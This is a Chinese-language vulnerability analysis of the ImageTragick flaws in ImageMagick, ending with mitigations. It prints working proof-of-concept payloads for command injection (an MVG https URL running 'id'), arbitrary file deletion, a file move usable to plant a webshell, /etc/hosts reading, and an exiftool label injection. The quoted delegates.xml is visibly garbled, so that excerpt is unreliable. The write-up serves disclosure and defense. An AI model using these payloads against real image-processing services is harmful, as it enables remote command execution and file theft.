ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。
国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的。
相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商。我们先来分析一下它出现的原因。
0x01 原理分析
与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。
ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的( https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 )
我们在ImageMagick的默认配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml
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#!xml<!--?xml version= "1.0" encoding= "UTF-8" ?--><!--ELEMENT delegate (#PCDATA)--><!--ATTLIST delegate decode CDATA #IMPLIED--><!--ATTLIST delegate encode CDATA #IMPLIED--><!--ATTLIST delegate mode CDATA #IMPLIED--><!--ATTLIST delegate spawn CDATA #IMPLIED--><!--ATTLIST delegate stealth CDATA #IMPLIED--><!--ATTLIST delegate thread-support CDATA #IMPLIED--><!--ATTLIST delegate command CDATA #REQUIRED-->]><!-- Delegate command file. Commands which specify decode= "in_format" encode= "out_format" specify the rules for converting from in_format to out_format These rules may be used to translate directly between formats. Commands which specify only decode= "in_format" specify the rules for converting from in_format to some format that ImageMagick will automatically recognize. These rules are used to decode formats. Commands which specify only encode= "out_format" specify the rules for an "encoder" which may accept any input format. For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are as follows: %i input image filename %o output image filename %u unique temporary filename %Z unique temporary filename %# input image signature %b image file size %c input image comment %g image geometry %h image rows (height) %k input image number colors %l image label %m input image format %p page number %q input image depth %s scene number %w image columns (width) %x input image x resolution %y input image y resolution Set option delegate:bimodal= true to process bimodal delegates otherwise they are ignored. If stealth= "True" the delegate is not listed in user requested "-list delegate" listings. These are typically special internal delegates. If spawn= "True" ImageMagick will not way for the delegate to finish, nor will it read any output image. It will only wait for either the input file to be removed (See "ephemeral:" coder) indicating that the input file has been read, or a maximum time limit of 2 seconds.--><delegatemap> <delegate -input-format= "" -output-file= "" -output-format= "" command= "" decode= "autotrace" pnm= "" stealth= "True" svg= "" > <delegate -b= "" -concatenate= "" -d= "" -f= "" -o= "" -oc= "" command= "" decode= "cdr" delegate= "" http:= "" mv= "" png= "" ps= "" rm= "" spawn= "True" stealth= "True" www.imagemagick.org= "" > "%o" 2 > "%Z" " decode=" cgm " thread-support=" False "> <delegate -o=" " -q=" " command=" " decode=" dvi "> <delegate --create-id=" also " --out-depth=" 16 " --out-type=" png " --output=" %u.png" " --silent=" " -daligntopixels=" 0 " -dbatch=" " -dgridfittt=" 2 " -dmaxbitmap=" 500000000 " -dnopause=" " -dnoprompt=" " -dquiet=" " -dsafer=" " -e=" " -l=" " -o=" " -q=" " -sdevice=" nodevice" " -soutputfile=" %o" " -title=" \ " -tsvg=" " alternatives=" " color=" " command=" " decode=" fig " delegate=" " edit=" " encode=" ps " etc=" " image=" " load=" " mode=" bi " output=" " portrait=" " postscript=" " ps=" " set=" " size=" " stealth=" True " terminal=" " vi=" "> " %u ";" gnuplot " " %u "" decode= "plt" > <delegate -f= "" -m= "" -q= "" basename= "" command= "" decode= "hpg" eps= "" mv= "" > <delegate -f= "" basename= "" command= "if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then hp2xx -q -m eps -f `basename " decode= "hpgl" echo= "" else = "" exit= "" files= "" hp2xx= "" hpgl= "" install= "" mv= "" need= "" to= "" use= "" with= "" you= "" > <delegate -o= "" -u= "" command= "" decode= "htm" > <delegate -o= "" -u= "" command= "" decode= "html" > <delegate -k= "" -o= "" -s= "" command= "" decode= "https" > <delegate - 1 = "" -an= "" -cmp= "" -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -f= "" -g= "" -i= "" - if = "" -man= "" -mbd= "" -o= "" -of= "" -sdevice= "ppmraw"" -soutputfile= "%s"" -subcmp= "" -tps= "" -trellis= "" -v= "" -vcodec= "" -vframes= "" -y= "" 2 = "" 300 = "" command= "" decode= "pcl:color" delegate= "" encode= "mpeg:encode" pam= "" rawvideo= "" rd= "" s= "" sid= "" stealth= "True" tif= "" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -sdevice= "pamcmyk32"" -soutputfile= "%s"" command= "" decode= "pcl:cmyk" s= "" stealth= "True" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -sdevice= "pbmraw"" -soutputfile= "%s"" command= "" decode= "pcl:mono" s= "" stealth= "True" > <delegate -daligntopixels= "0" -dbatch= "" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -q= "" -sdevice= "epswrite"" -soutputfile= "%o"" command= "" decode= "pdf" encode= "eps" mode= "bi" > <delegate -daligntopixels= "0" -dbatch= "" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -q= "" -sdevice= "nodevice"" -soutputfile= "%o"" command= "" decode= "pdf" encode= "ps" mode= "bi" > <delegate command= "" decode= "tiff" encode= "launch" mode= "encode" > <delegate -24if= "" -concatenate= "" -d0= "" -q9= "" a= "" command= "" decode= "pov" delegate= "" encode= "ilbm" h= "" mode= "encode" q= "" w= "" > <delegate -daligntopixels= "0" -dbatch= "" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -q= "" -sdevice= "epswrite"" -soutputfile= "%o"" command= "" decode= "ps" encode= "eps" mode= "bi" > <delegate -daligntopixels= "0" -dbatch= "" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -q= "" -sdevice= "pdfwrite"" -soutputfile= "%o"" command= "" decode= "ps" encode= "pdf" mode= "bi" > <delegate command= "lpr " decode= "ps" encode= "print" mode= "encode" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -q= "" -sdevice= "pngalpha"" -soutputfile= "%s"" command= "" decode= "ps:alpha" s= "" stealth= "True" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -q= "" -sdevice= "pam"" -soutputfile= "%s"" command= "" decode= "ps:cmyk" s= "" stealth= "True" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -q= "" -sdevice= "pnmraw"" -soutputfile= "%s"" command= "" decode= "ps:color" s= "" stealth= "True" > <delegate -daligntopixels= "0" -dbatch= "" -dgraphicsalphabits= "%u" -dgridfittt= "2" -dmaxbitmap= "500000000" -dnopause= "" -dnoprompt= "" -dquiet= "" -dsafer= "" -dtextalphabits= "%u" -q= "" -sdevice= "pbmraw"" -soutputfile= "%s"" command= "" decode= "ps:mono" s= "" stealth= "True" > <delegate -o= "" -v= "" command= "" decode= "rgba" encode= "rle" mode= "encode" > <delegate -d= "" -delay= "" -title= "\" -window-group=" " 0=" " bin=" " command=" " decode=" miff " delegate=" " encode=" show " l=" " spawn=" True " usr=" "> <delegate -o=" " -u=" " command=" " decode=" shtml "> <delegate -o=" " command=" " decode=" svg "> <delegate -o=" " command=" " decode=" txt " encode=" ps " mode=" bi "> <delegate -delay=" " -immutable=" " -title=" \ " -window-group=" " 0=" " bin=" " command=" " decode=" miff " encode=" win " l=" " spawn=" True " stealth=" True " usr=" "> <delegate -o=" " command=" " decode=" wmf "> <delegate -daligntopixels=" 0 " -dbatch=" " -dgraphicsalphabits=" %u " -dgridfittt=" 2 " -dmaxbitmap=" 500000000 " -dnopause=" " -dnoprompt=" " -dquiet=" " -dsafer=" " -dtextalphabits=" %u " -sdevice=" ppmraw" " -soutputfile=" %s" " command=" " decode=" xps:color " s=" " stealth=" True "> <delegate -daligntopixels=" 0 " -dbatch=" " -dgraphicsalphabits=" %u " -dgridfittt=" 2 " -dmaxbitmap=" 500000000 " -dnopause=" " -dnoprompt=" " -dquiet=" " -dsafer=" " -dtextalphabits=" %u " -sdevice=" bmpsep8" " -soutputfile=" %s" " command=" " decode=" xps:cmyk " s=" " stealth=" True "> <delegate -daligntopixels=" 0 " -dbatch=" " -dgraphicsalphabits=" %u " -dgridfittt=" 2 " -dmaxbitmap=" 500000000 " -dnopause=" " -dnoprompt=" " -dquiet=" " -dsafer=" " -dtextalphabits=" %u " -sdevice=" pbmraw" " -soutputfile=" %s" " command=" " decode=" xps:mono " s=" " stealth=" True"></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegate></delegatemap>
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我们可以看到,这里它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。
漏洞报告中给出的POC是利用了如下的这个委托:
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<delegate -k= "" -o= "" -s= "" command= "" decode= "https" ></delegate>
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它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。
所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:
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push graphic-contextviewbox 0 0 640 480fill ‘url(https://"|id; ")‘ pop graphic-context
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这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞:
其他几个CVE也比较有趣,比如CVE-2016-3718,他是利用mvg格式中可以包含url的特点,进行SSRF攻击,POC如下:
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CVE-2016-3715是利用ImageMagick支持的ephemeral协议,来删除任意文件:
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push graphic-contextviewbox 0 0 640 480image over 0 , 0 0 , 0 ‘ephemeral:/tmp/delete.txt‘ popgraphic-context
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CVE-2016-3716是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。
特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:
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file_move.mvg-=-=-=-=-=-=-=-=-push graphic-contextviewbox 0 0 640 480image over 0 , 0 0 , 0 ‘msl:/tmp/msl.txt‘ popgraphic-context/tmp/msl.txt-=-=-=-=-=-=-=-=-<!--?xml version= "1.0" encoding= "UTF-8" ?-->
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CVE-2016-3717可以造成本地文件读取漏洞:
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push graphic-contextviewbox 0 0 640 480image over 0 , 0 0 , 0 ‘label:@/etc/hosts‘ pop graphic-context
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0x02 深入分析
除了报告中给出的POC以外,各个安全研究人员也集思广益,发现这个洞的更多利用/影响方式。
首先,PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞:
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<!--?phpnew Imagick( ‘vul.gif‘ );</pre-->
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因为没有返回值,我利用cloudeye捕捉到apache日志,从日志中读取命令执行的结果:
另外,经过分析,研究人员发现除了.mvg格式的图片以外,普通png格式的图片也能触发命令执行漏洞。我们看到前面委托中对%l,也就是exif label的处理:
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<delegate -delay= "" -title= "\" -window-group=" " 0=" " bin=" " command=" " decode=" miff " encode=" show " l=" " spawn=" True " usr=" "></delegate>
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它将%l拼接进入了/usr/bin/display命令中,所以我只需将正常的png图片,带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候,即可触发命令注入漏洞:
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exiftool -label= "\"|/usr/bin/id; \"" test.pngconvert test.png o.show
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但这个方法鸡肋之处在于,因为delegate.xml中配置的encode="show"(或"win"),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。
0x03 影响分析
ImageMagick是一个使用非常广的组件,大量厂商都在处理图片的时候调用这个程序进行处理,而且很多开源应用也在核心代码中包含了ImageMagick选项。
Wordpress是著名的个人博客/CMS厂商,其核心源码中使用了PHP扩展ImageMagick。受到这个漏洞的影响,在攻击者拥有一定权限的情况下,可以在Wordpress中触发任意命令执行漏洞: WooYun: Wordpress某核心功能命令执行漏洞(一定权限)
同样的,Discuz、Drupal等常用CMS中也调用了ImageMagick扩展或ImageMagick库,CVE-2016-3714也可能会影响到他们。
但根据我对Discuz的分析,其调用ImageMagick处理图片之前,会先使用php的getimagesize进行图片格式、大小的验证,所以本文中所涉及的POC无法在Disucz中直接使用,但不排除有其他方法绕过discuz对该问题的限制。
除了开源软件中的漏洞以外,国内外各大厂商或多或少都收到了该问题的影响,影响最大的应该属人人,人人某处上传位置调用了ImageMagick进行图片的处理,结果造成了命令执行,导致内网被白帽子攻破: WooYun: 人人网某漏洞导致直接Getshell影响主干网络直入内网
另外,百度、优酷、腾讯、七牛等诸多厂商都收到该漏洞影响: WooYun: QQ邮箱命某处令执行 、 WooYun: 腾讯微云远程命令执行 、 WooYun: 七牛云存储远程命令执行漏洞影响图片处理服务器 、 WooYun: 百度某站远程命令执行漏洞 、 WooYun: 一张图片引发的血案百度某处命令执行 、 WooYun: 优酷主站存在远程命令执行漏洞
还有个比较有意思的地方,因为新浪sae的php包含ImageMagick扩展,所以乌云上有白帽子利用这个漏洞,成功绕过了sae的沙盒 WooYun: SAE 沙盒绕过(ImageMagick CVE20163714 应用实例)
0x04 漏洞修复
关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。
现在,我们可以通过如下两个方法来暂时规避漏洞:
处理图片前,先检查图片的 "magic bytes",也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
时间: 2024-10-18 16:36:39